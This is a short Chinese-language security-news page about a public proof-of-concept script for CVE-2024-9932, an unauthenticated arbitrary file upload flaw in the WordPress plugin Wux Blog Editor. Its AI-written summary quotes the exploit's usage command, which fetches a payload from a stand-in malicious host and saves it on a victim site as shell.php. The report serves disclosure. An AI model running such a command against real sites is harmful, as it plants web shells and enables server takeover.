跳到正文
热点事件持续更新

Wux Blog Editor任意文件上传漏洞PoC公开

1 篇报道1 个报道来源5 小时前更新

先了解这件事

AI 综述

研究人员Nxploit公开了针对WordPress插件Wux Blog Editor任意文件上传漏洞CVE-2024-9932的PoC脚本CVE-2024-9932.py。据该PoC说明，未认证攻击者可借此向服务器上传任意文件，并可能导致远程代码执行；受影响版本为3.0.0及之前。 公开的利用命令示例为：python CVE-2024-9932.py -u http://victim-site.com/wordpress -ur http://malicious.com/payload.txt -n shell.php。

AI 根据报道生成 · 1 小时前更新

最新进展10月23日 03:54
Wux Blog Editor 任意文件上传漏洞 CVE-2024-9932 的 PoC 公开

报道时间线

沿着报道，了解事件的不同侧面。

10月23日
  1. Sploitus 利用聚合
    Wux Blog Editor 任意文件上传漏洞 CVE-2024-9932 的 PoC 公开

    公开的 PoC 脚本 CVE-2024-9932.py 针对 WordPress 插件 Wux Blog Editor 的任意文件上传漏洞，3.0.0 及之前版本受影响。

本事件热度走势

还没有足够的连续观测数据，暂不绘制趋势。